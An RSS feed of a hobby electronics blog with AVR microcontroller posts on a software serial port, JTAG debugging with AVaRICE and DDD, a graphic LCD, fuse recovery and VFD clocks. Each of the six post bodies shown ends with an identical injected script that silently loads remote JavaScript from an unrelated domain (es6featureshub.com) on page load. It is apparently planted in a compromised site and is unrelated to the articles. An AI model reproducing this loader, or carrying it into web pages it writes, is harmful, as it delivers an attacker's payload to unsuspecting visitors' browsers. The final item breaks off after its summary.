<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; avr</title>
	<atom:link href="http://www.larsen-b.com/tags/avr/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Really cheap USB to TTL on Atmega : 1.70$</title>
		<link>http://www.larsen-b.com/Article/370.html</link>
		<comments>http://www.larsen-b.com/Article/370.html#comments</comments>
		<pubDate>Sat, 11 Sep 2010 16:58:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[atmega]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=370</guid>
		<description><![CDATA[One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to &#8230; <a href="http://www.larsen-b.com/Article/370.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to use a USB to TTL converter or a USB to RS232 converter + MAX232. That&#8217;s fine but :</p>
<ul>
<li>USB to TTL PCB cost a bit of money : you can find some on Ebay around 7€ (shipped) and 15$ on Sparfun !!!  That&#8217;s about 2 or 5 times the cost of the microcontoler !</li>
<li>USB to RS232 cost 1.70$ (shipped) but need some extra level shifting and doesn&#8217;t really feet on a PCB (need a DB9 connector &#8230;)</li>
</ul>
<p style="text-align: left;">In fact, USB to RS232 is a mass product, and the cost is really low. I decided to order a couple of this, just to look if I can use this stuff on a PCB. So I bought a 1.70$ USB to RS232 on Ebay.</p>
<p style="text-align: left;">
<p style="text-align: center;"><img class="aligncenter" title="USB to RS232" src="http://jkx.larsen-b.com/photos/blog/USB_to_RS_232_Cable.jpg" alt="" width="324" height="282" /></p>
<p>I decided to rip the plastic off the DB9 and discovered a really tiny PCB. I removed the DB9, and decided to pass this little PCB to a scope session. How the hell do they manage to do a USB to RS232 with only a couple of external components ? They is no big capacitor for level shifter  (remember  RS232 is a +12/-12v ) ? The answer is simple, they don&#8217;t !!</p>
<p>This device isn&#8217;t RS232 compliant at all, the signals on the DB9 are TTL compliant, but not RS232. The ouput is between 0/5V and the input can handle -12/+12V but works great with a 0/5V too. I simply removed used pads on one side and added a couple on pins.</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="USB to TTL cheap" src="http://jkx.larsen-b.com/photos/blog/usb_ttl_1.sized.jpg" alt="" width="460" height="640" /></p>
<p style="text-align: left;">
<p style="text-align: left;">Please note that RX pin is missing on this pix but needed of course. The next step : How can I use this with an AVR Atmega (I used a Atmega8 but any will do the trick). Serial connection on a micro is TTL like this board, but the TTL signal is just inverted. A &#8220;1&#8243; on the RS232 side is a -12V and +5V on a TTL, and a 0 on the RS232 side is a + 12V and a 0v on the TTL. You can find all the information <a href="http://www.arcelect.com/rs232.htm">here</a>.</p>
<p style="text-align: left;">In fact MAX232 do both level shitting and inverting, but as I&#8217;m to lazy to wire a MAX232 (and will destroy the cheap aspect of this hack), I decided to handle this by software. This mean, I won&#8217;t be able to use the Atmega serial builtin port but need to write some additional code, to do the RS232 encoding/decoding by hand. Let&#8217;s give it a try :</p>
<p style="text-align: left;">
<p style="text-align: left;"><img class="aligncenter" title="USB to RS232 Atmega" src="http://jkx.larsen-b.com/photos/blog/P9115024.sized.jpg" alt="" width="640" height="609" /></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">I simply put this on a verroboard, connect VCC to USB Vcc, GND, RX and TX  to random pins on the AVR and let&#8217;s go to RS232 software serial. This can be done easily in fact, and I managed to handle 19200bauds with the internal 8Mhz clock of the Atmega. Above you will find the popular uart_putc() and uart_getc() ..</p>
<pre><a name="line1"> 1</a> <span style="color: #0000ff;"><strong>#define UART_TX	D,1</strong></span>
<a name="line2"> 2</a> <span style="color: #0000ff;"><strong>#define UART_RX	D,2</strong></span>
<a name="line3"> 3</a> <span style="color: #0000ff;"><strong>#define UART_DELAY	52 // 1/9600 = 104uS : 1/19200 = 52uS</strong></span>
<a name="line4"> 4</a>
<a name="line5"> 5</a>
<a name="line6"> 6</a> <strong>void</strong> <span style="color: #2040a0;">uart_putc</span><span style="color: #4444ff;">(</span><strong>char</strong> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span>
<a name="line7"> 7</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line8"> 8</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line9"> 9</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">temp</span><span style="color: #4444ff;">;</span>
<a name="line10">10</a>
<a name="line11">11</a>   // <span style="color: #2040a0;">start</span>
<a name="line12">12</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line13">13</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line14">14</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line15">15</a>
<a name="line16">16</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line17">17</a>   <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line18">18</a>     <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">&amp;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line19">19</a>     <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line20">20</a>       <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line21">21</a>     <strong>else</strong>
<a name="line22">22</a>       <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line23">23</a>     <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line24">24</a>
<a name="line25">25</a>      <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">&gt;</span><span style="color: #4444ff;">&gt;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line26">26</a>   <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line27">27</a>
<a name="line28">28</a>   // <span style="color: #2040a0;">stop</span>
<a name="line29">29</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line30">30</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line31">31</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line32">32</a>
<a name="line33">33</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line34">34</a> <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line35">35</a>
<a name="line36">36</a> <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">uart_getc</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<a name="line37">37</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line38">38</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line39">39</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line40">40</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line41">41</a>
<a name="line42">42</a>   <strong>while</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span>
<a name="line43">43</a>     <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line44">44</a>
<a name="line45">45</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span>/<span style="color: #ff0000;">2</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">middle</span> <span style="color: #2040a0;">of</span> <span style="color: #2040a0;">the</span> <span style="color: #2040a0;">start</span> <span style="color: #2040a0;">bit</span>
<a name="line46">46</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line47">47</a>     <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line48">48</a>       <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line49">49</a>       <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line50">50</a>
<a name="line51">51</a>       <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line52">52</a> 	<span style="color: #2040a0;">currentChar</span> <span style="color: #4444ff;">|</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">&lt;</span><span style="color: #4444ff;">&lt;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">this</span> <span style="color: #2040a0;">is</span> <span style="color: #2040a0;">a</span> <span style="color: #ff0000;">1</span>
<a name="line53">53</a>     <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line54">54</a>   <strong>return</strong> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">;</span>
<a name="line55">55</a> <span style="color: #4444ff;"><strong>}</strong></span></pre>
<p style="text-align: left;">
<p style="text-align: left;">Nothing more to say, this hack works really great, and I can now build a bunch of USB board without paying so much. The only drawback of this approach is that you can&#8217;t use an interrupt for the uart_getc() so you have deal with that in your code. Another approach would use a single transistor for the RX pin to make the RX compliant w/ the AVR serial builtin routine.</p>
<p style="text-align: left;">
<p style="text-align: left;">You can find the whole project C files + Makefile in a zip <a href="http://www.larsen-b.com/wp-content/uploads/avr-soft-serial.zip">here</a>. I think this little hack is really useful, so please send it to all to your DIYer friends, this can save them money, time &#8230;</p>
<p style="text-align: left;">
<p style="text-align: left;"><strong>// Enjoy cheap USB ? :)</strong></p>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/370.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Howto use AVR Dragon Jtag on Linux (Avarice + avr-gdb +DDD)</title>
		<link>http://www.larsen-b.com/Article/315.html</link>
		<comments>http://www.larsen-b.com/Article/315.html#comments</comments>
		<pubDate>Sun, 30 Nov 2008 15:45:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=315</guid>
		<description><![CDATA[I bought a couple of months ago a little AVR Dragon card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc &#8230; <a href="http://www.larsen-b.com/Article/315.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I bought a couple of months ago a little <a href="http://www.atmel.com/dyn/Products/tools_card.asp?tool_id=3891">AVR Dragon</a> card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc on this topic. So, here we are ;)</p>
<p>The AVR Dragon is nice because you can use it as a small developpement device without any other requirement: Simply drop the needed ATMega on the board, some little wrapping for : Jtag + power supply.</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/pb163528?full=1"><img class="alignnone" title="AVR Dragon + ATMega 16" src="http://jkx.larsen-b.com/photos/blog/pb163528.sized.jpg" alt="" width="640" height="410" /></a></p>
<p>As you can see, this is compact and nothing else is needed. The power supply come from the USB port, and I soldered a DIP on the board.. and that&#8217;s it.</p>
<p>I use the Jtag connector, so now I can use a real debugger instead of playing with the UART. Simply put a breakpoint, and enjoy :) By this way, I figure out that most of the time I simply push some stuff in arrays, and inspect them with debugger. This is really efficient. For example, last week I need to fix a timing issue with a IR sensor, simply wrap the little board, and push all interrupts in a array with the related timing. Of course, this can be done with a serial connection too, but it will take more time, and even worst if you encounter a bug, you will have to find where is it (the UART printf, or the code itself) ..</p>
<h4>So, how to use this with a Linux OS ?</h4>
<p>First you need to use <a href="http://avarice.sourceforge.net/">AVaRICE</a> to program the ATMega with a command like this :</p>
<pre>avarice -g -j usb --erase --program --file main.hex :4242</pre>
<p>Here the result:</p>
<p><img class="alignnone" title="Avarice" src="http://jkx.larsen-b.com/photos/blog/avarice.sized.jpg" alt="" width="640" height="476" /></p>
<p>AVaRICE flash the hex file to the ATMega, and wait for a <a href="http://en.wikipedia.org/wiki/GNU_Debugger">GDB</a> connection on port 4242. GDB is fine, but not really visual ;)</p>
<p>Let&#8217;s take a look at <a href="http://www.gnu.org/software/ddd/">DDD</a></p>
<p>To use DDD with avr-gdb (the gdb for AVR), you need to edit a config file, for example gdb.conf and put this in :</p>
<pre>file main.out
target remote localhost:4242</pre>
<p>And the final command, just launch DDD like this :</p>
<pre>ddd --debugger "avr-gdb -x gdb.conf"</pre>
<p>Next step: Simply place some breakpoint, and the press &#8220;Cont&#8221; inue button in DDD. Et voilà :</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/ddd?full=1"><img class="alignnone" title="DDD" src="http://jkx.larsen-b.com/photos/blog/ddd.sized.jpg" alt="" width="438" height="640" /></a></p>
<p>I hope this little tuto will help people looking for a nice AVR debuger for the AVR on Linux (or any OSS system). The AVR Dragon is definitively a must have for low budget user in AVR scene.</p>
<p><strong>Enjoy bug ? :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/315.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Lumex Graphic LCD 128&#215;64 (S12864GSF) + AVR (Atmega32)</title>
		<link>http://www.larsen-b.com/Article/274.html</link>
		<comments>http://www.larsen-b.com/Article/274.html#comments</comments>
		<pubDate>Mon, 24 Mar 2008 14:42:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[lcd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I recently bought 2 LCD from jckrers ebay store. I have a good idea for this stuff, but first I need to run several tests. This LCD are fine and use the common KS108 controller. My first thought was to &#8230; <a href="http://www.larsen-b.com/Article/274.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I recently bought 2 LCD from <a class="reference" href="http://stores.ebay.fr/jckrers-parts">jckrers</a> ebay store. I have a good idea for this stuff, but first I need to run several tests. This LCD are fine and use the common KS108 controller.</p>
<p>My first thought was to use the <a class="reference" href="http://www.mil.ufl.edu/~chrisarnold/components/microcontrollerBoard/AVR/avrlib/">avrlib</a>, so I wired the LCD and started to use avrlib, but I quickly run into issues. In fact, I want to use some icons on, and the avrlib seems to be buggy.</p>
<p>After a little compile/test/run/compile, I remember an old post on a website about KS108 chips. I find it back, it&#8217;s on the <a class="reference" href="http://www.scienceprog.com/controlling-graphical-128x64-lcd-based-on-ks0108/">science prog</a></p>
<p>This is really great, you can build some custom fonts easily (that&#8217;s exactly what i&#8217;m looking for)..</p>
<p>Here a couple of pics&#8230;</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02817_003.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02817_003.sized.jpg" /></p>
<p>As you can see, I use a ATMega32 (on a futurelec card), a simple pot for the contrast, and the lumex.</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02816_003.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02816_003.sized.jpg" /></p>
<p>I can use a mix of different fonts on the same screen.</p>
<p>And I can even display some pics too :)</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02820.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02820.sized.jpg" /></p>
<p>Here the famous tux.</p>
<p>I still have to deal with menu and other stuff, this should be a little harder than expected, but will be nice. If somebody know a good library to use on a T6963C, please post a comment..</p>
<p>For users who wants high res pics, you can find them in my <a class="reference" href="http://jkx.larsen-b.com/gallery/AlarmClock">gallery</a> (as usual).<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/274.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Howto recover wrong fuses settings on a AVR</title>
		<link>http://www.larsen-b.com/Article/260.html</link>
		<comments>http://www.larsen-b.com/Article/260.html#comments</comments>
		<pubDate>Sun, 15 Apr 2007 12:09:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[jtag]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday, I ran into a issue with an ATMega32. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need &#8230; <a href="http://www.larsen-b.com/Article/260.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, I ran into a issue with an <a class="reference" href="http://www.atmel.com/dyn/products/product_card.asp?part_id=2014">ATMega32</a>. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need to change some fuses. I changed the fuses with the help of the <a class="reference" href="http://palmavr.sourceforge.net/cgi-bin/fc.cgi">Avr Fuse Calculator</a>, but I messed my ATMega with the wrong clock source. I don&#8217;t know how, but I choose the low freq clock. So my ATMega was totally frozen, as the clock settings was wrong, I was unable to reflash it, and worst, unable to change the fuses.</p>
<p>After a little googling, I found there is 3 ways to fixe this kind of issue:</p>
<ul class="simple">
<li>Use a Jtag (as it doesn&#8217;t need a clocked micro)</li>
<li>Use a high voltage programmer (you can erase the fuse, with a programmer that do a parallel programming with RESET plug to a 12v PSU). This kind of programmer aren&#8217;t really easy to find. The only one I know right now is the <a class="reference" href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=2735">STK500</a></li>
<li>Use an external clock (This is what I used, and describe here)</li>
</ul>
<p>As, I don&#8217;t have any Jtag, or STK500, the only way to fix that is to use an external clock. In fact, I decided to ask on the #avr channel on freenode. And a really kool guy (&#8220;rue_mohr&#8221;) give me this tips. On every AVR micro, you can use a external clock if you messed the fuses settings. Simply plug a external clock on the clock pin (XTAL1 on the Mega32), and changes the fuses by this way.</p>
<p>Of course, you need a external clock at something like 1Mhz. Of course I don&#8217;t have this kind generator at home, but this can be easily done with another AVR micro this something like this:</p>
<pre class="literal-block">void main()
{
  DDRA = 0xFF;
  while (1)
  {
     PORTA = ~PINA;
     nop();  // added some nop, to slow the clock a bit
     nop();
   }
}</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/260.html/feed</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>IVL1-7/5 Russian Vacum Tube (VFD) Clock &#8211; Part 1</title>
		<link>http://www.larsen-b.com/Article/250.html</link>
		<comments>http://www.larsen-b.com/Article/250.html#comments</comments>
		<pubDate>Sat, 06 Jan 2007 18:54:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m now building another clock with a IVL1-7/5. In fact, I&#8217;m preparing a large bench of VFD clock, and I need to test several stuffs, so the schematic isn&#8217;t public right now. This one use quite the same stuff than &#8230; <a href="http://www.larsen-b.com/Article/250.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m now building another clock with a IVL1-7/5. In fact, I&#8217;m preparing a large bench of VFD clock, and I need to test several stuffs, so the schematic isn&#8217;t public right now.</p>
<p>This one use quite the same stuff than my previous I <a class="reference" href="http://www.larsen-b.com/Article/240.html">IV-18</a> clock, the main difference is the VFD power supply, but if you read this weblog, you will understand easily. I will publish the whole design and source code for free soon.</p>
<p>Anyway, here some pictures:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02522.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02522.sized.jpg" /></div>
<p><strong>The PCB made with toner transfert</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02524.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02524.sized.jpg" /></div>
<p><strong>Soldering SOIC isn&#8217;t that hard ;)</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02530.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02530.sized.jpg" /></div>
<p><strong>The beast</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02528.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02528.sized.jpg" /></div>
<p><strong>The VFD tube is really big, and nice no ?</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02531.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02531.sized.jpg" /></div>
<p>As you can see on the latest picture, there is a little gradian due to the filament supply. I haven&#8217;t find a simple to use (as the MAX6921) VFD driver that support AC filament. (MAX6931 is to small for hands soldering)</p>
<p><strong>Enjoy :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/250.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>IV-18 VFD vacuum Russian Clock  video (part 3)</title>
		<link>http://www.larsen-b.com/Article/289.html</link>
		<comments>http://www.larsen-b.com/Article/289.html#comments</comments>
		<pubDate>Tue, 10 Oct 2006 14:57:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=289</guid>
		<description><![CDATA[Here a little video of my clock. In fact, I decided to replace the video on dailymotion ( it offers better quality than youtube)]]></description>
				<content:encoded><![CDATA[<div>Here a little video of my clock. In fact, I decided to replace the video on dailymotion ( it offers better quality than youtube)</div>
<div><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="520" height="411" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.dailymotion.com/swf/x5dvqu&amp;v3=1&amp;colors=background:DDDDDD;glow:FFFFFF;foreground:333333;special:FFC300;&amp;related=1" /><embed type="application/x-shockwave-flash" width="520" height="411" src="http://www.dailymotion.com/swf/x5dvqu&amp;v3=1&amp;colors=background:DDDDDD;glow:FFFFFF;foreground:333333;special:FFC300;&amp;related=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
<strong><a href="http://www.dailymotion.com/video/x5dvqu_iv18-vfd-clock_tech"><br />
</a></strong><em><a href="http://www.dailymotion.com/jkxathome"></a></em></div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/289.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IV-18 VFD vacuum Russian Clock (part 2)</title>
		<link>http://www.larsen-b.com/Article/241.html</link>
		<comments>http://www.larsen-b.com/Article/241.html#comments</comments>
		<pubDate>Mon, 09 Oct 2006 19:49:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In the previous article, I have study the way to power this large VFD, now we gonna take a look closer at the logic itself. We need to drive a lot of bits (8+9) at ~40v. After a little googling, &#8230; <a href="http://www.larsen-b.com/Article/241.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
